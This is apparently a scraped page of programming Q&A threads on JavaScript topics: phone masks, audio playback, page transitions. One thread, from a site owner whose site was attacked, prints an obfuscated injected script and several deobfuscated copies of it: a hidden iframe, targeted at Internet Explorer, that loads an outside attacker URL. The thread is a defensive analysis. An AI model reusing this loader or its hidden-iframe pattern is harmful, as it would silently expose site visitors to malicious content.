We Keep Coding

Javascript Mask not working on mobile

I don't have a perfect english, sorry for any mistake...
I use a JS telephone/cell phone mask code that I've fount at Internet, it works fine when I access my website using my computer, but when I use my phone, the code stop working.
Here's the JS code:
<script type="text/javascript">
function mascara(o, f) {
v_obj = o
v_fun = f
setTimeout("execmascara()", 1)
}
function execmascara() {
v_obj.value = v_fun(v_obj.value)
}
function mtel(v) {
v = v.replace(/\D/g, "");
v = v.replace(/^(\d{2})(\d)/g, "($1)$2");
v = v.replace(/(\d)(\d{4})$/, "$1-$2");
return v;
}
function id(el) {
return document.getElementById(el);
}
window.onload = function () {
id('<%= telefoneContato.ClientID %>').onkeypress = function () {
mascara(this, mtel);
}
}
</script>
This is the text field:
<asp:TextBox ID="telefoneContato" runat="server" CssClass="form-control" placeholder="Digite seu telefone" MaxLength="14"></asp:TextBox>
Some points:
I'm using bootstrap + jQuery;
The page is a webform and it's linked to a MasterPage;
I'm using ASP.NET;
I don't have much experience with JS;
The phone is a Moto G4 (Android 6.0.1) and I used chrome to access the website.
Thanks in advance!

Unfortunately, behavior of the key events differs on each browser and especially when it comes to mobile browsers it can be so annoying. Try using a mobile compatible jQuery library such as jQuery Mask. You will be able to define your masks like:
$(document).ready(function(){
$('.phone').mask('0000-0000');
});

Moving javascript audio into jquery

This is my first post to the forum.
I am setting up an English/Thai language course website which will contain many audio files of English and Thai speech. I did a single webpage proof of concept using a mouseover/button javascript function
http://www.javascriptkit.com/script/script2/soundlink.shtml
With some mods and some inline js, this worked OK.
$(document).ready(function() {
var html5_audiotypes = {
"mp3": "audio/mpeg",
"ogg": "audio/ogg",
};
function createsoundbite(sound) {
"use strict";
var html5audio = document.createElement('audio');
if (html5audio.canPlayType){
for(var i=0; i<arguments.length; i++) {
var sourceEl = document.createElement('source');
sourceEl.setAttribute('src', arguments[i]);
if (arguments[i].match(/\.(\w+)$/i))
sourceEl.setAttribute('type', html5_audiotypes[RegExp.$1]);
html5audio.appendChild(sourceEl);
}
html5audio.load();
html5audio.playclip = function() {
html5audio.pause();
html5audio.currentTime=0;
html5audio.play();
}
return html5audio;
}
else{
return {playclip:function(){throw new Error("Your browser doesn't support HTML5 audio unfortunately")}};
}
}
var cn402=createsoundbite("audio/cn402.ogg", "audio/cn402.mp3");
var ry402=createsoundbite("audio/ry402.ogg", "audio/ry402.mp3");
var cn403=createsoundbite("audio/cn403.ogg", "audio/cn403.mp3");
var ry403=createsoundbite("audio/ry403.ogg", "audio/ry403.mp3");
var cn404=createsoundbite("audio/cn404.ogg", "audio/cn404.mp3");
var ry404=createsoundbite("audio/ry404.ogg", "audio/ry404.mp3");
});
The javascript code is called by a line of html code like this:
Please don't swim by yourself</span>
I want to incorporate this function and its associated variables into jquery. so that all js code is removed from the html. The first step, just getting the jquery code to work has proved a bit problematic for me. I've tried just including the js audio code in a document ready function. as shown above but this doesn't work. Any help would be much appreciated.

I'm not sure if I get you right, but you can remove the javascript code from the given link very easily:
$('.rollover').click(function(){
ry402.playclip();
});
Let's have a look at: http://api.jquery.com/click/

JavaScript code injected into site: Can you help me decrypt it?

Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.

Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).

This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}

Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}

Hearing an echo while playing mp3

I'm currently having problems while playing mp3 files on a website.
I'm using the following code to play an mp3 sound:
function playSound(url){
var userAgent = navigator.userAgent.toLowerCase();
var appVersion = navigator.appVersion.toLowerCase();
var appName = navigator.appName.toLowerCase();
var isOpera = (userAgent.indexOf('opera') != -1);
var isIE = (appName.indexOf('internet explorer') != -1) && !isOpera;
switch(true)
{
case isIE :
$("#soundSpan").html(" <bgsound src='"+url+"' />");
break;
default :
$("#soundSpan").html(" <embed src='"+url+"' type='audio/mpeg' autostart=true repeat=false loop=false hidden=true></embed>");
}
}
This works fine for me and most of the users, but some users are complaining about hearing an echo. Meaning they are hearing the same sound multiple times(more than twice). The sounds are very short varying from 1 to 6 seconds. According to some users the echo is sometimes so bad they can't understand what is being said (the mp3 files are spoken sentences). The echo usually stops after 2-3 seconds.
I'm sure I'm playing the sound only once and the echo has appeared in different browsers.
Does anyone have an idea how this can happen?

You should define case isMozilla : since many browsers are using UserAgent: Mozilla, etc... Not only the firefox browser it self, so if you are using chrome or other kind of OS browsers they might load several cases from your script.

If you're calling playSound in a click handler, could your users be double-clicking? On most browsers, double-click causes two click events to occur (in addition to a dblclick event; example). You might want to build in some hysteresis -- for instance, ignore a second (third, fourth) click on the sound for 500ms after the first click, that sort of thing.
Edit: Example:
var soundsPlayed = {};
function playSound(url){
var userAgent = navigator.userAgent.toLowerCase();
var appVersion = navigator.appVersion.toLowerCase();
var appName = navigator.appName.toLowerCase();
var isOpera = (userAgent.indexOf('opera') != -1);
var isIE = (appName.indexOf('internet explorer') != -1) && !isOpera;
var soundPlayed = soundsPlayed['p:' + url];
var now = new Date().getTime();
// If we haven't played this sound, or we haven't played it in the
// last half-second, go ahead and play it.
if (!soundPlayed || (now - soundPlayed) > 500) {
// Remember when we played it
soundsPlayed['p:' + url] = now;
// Play it
switch(true) // true??
{
case isIE :
$("#soundSpan").html(" <bgsound src='"+url+"' />");
break;
default :
$("#soundSpan").html(" <embed src='"+url+"' type='audio/mpeg' autostart=true repeat=false loop=false hidden=true></embed>");
}
}
}

Page transitions on websites?

I was just wondering if there are any methods of creating nice, smooth transition effects when navigating between pages? Things like blind effects, sliding effects, etc. I guess I'm looking for something like what jQuery can do with images - but for actual web pages. I know there are fade effects and all that, but I was just wondering if there was something more 'modern' out there. While I realize Flash would be a good fit for this, it is not an option.

You can do some pretty cool effects if you use jQuery UI. They will go much smoother if you load everything in using AJAX... but, here's an example to get it working with full page loads.
First you need to additionally include jQuery UI (I just built my own and only grabbed the effects I needed):
<script type="text/javascript" src="jquery-ui-1.7.1.custom.min.js"></script>
And here's the javascript you'll need to make it work.
$(function() {
$('body').hide();
$('a').bind('click', function() {
var newPage = $(this).attr('href');
$('body').hide('blind',{},500, function() {
newPageParts = newPage.split('?');
newPageURL = newPageParts[0];
newPageParams = newPageParts[1];
newPage = newPageURL+"?transition=true"+(newPageParams != undefined ? "&"+newPageParams : '');
window.location=newPage;
});
return false;
});
if(getURLParam('transition') != '') {
$('body').show('blind',{},500,null);
}
});
function getURLParam(strParamName){
var strReturn = "";
var strHref = window.location.href;
if ( strHref.indexOf("?") > -1 ){
var strQueryString = strHref.substr(strHref.indexOf("?")).toLowerCase();
var aQueryString = strQueryString.split("&");
for ( var iParam = 0; iParam < aQueryString.length; iParam++ ){
if (aQueryString[iParam].indexOf(strParamName + "=") > -1 ){
var aParam = aQueryString[iParam].split("=");
strReturn = aParam[1];
break;
}
}
}
return strReturn;
}
Of course, fading in is only going to work on pages that have this script on it...
Just a note: I did just kinda make this in a few minutes so it might be really ghetto. But, it does work... so... yeah...

IE has a very simple implementation of page transition effects, but I don't think they will work on other browsers like Mozilla and Safari.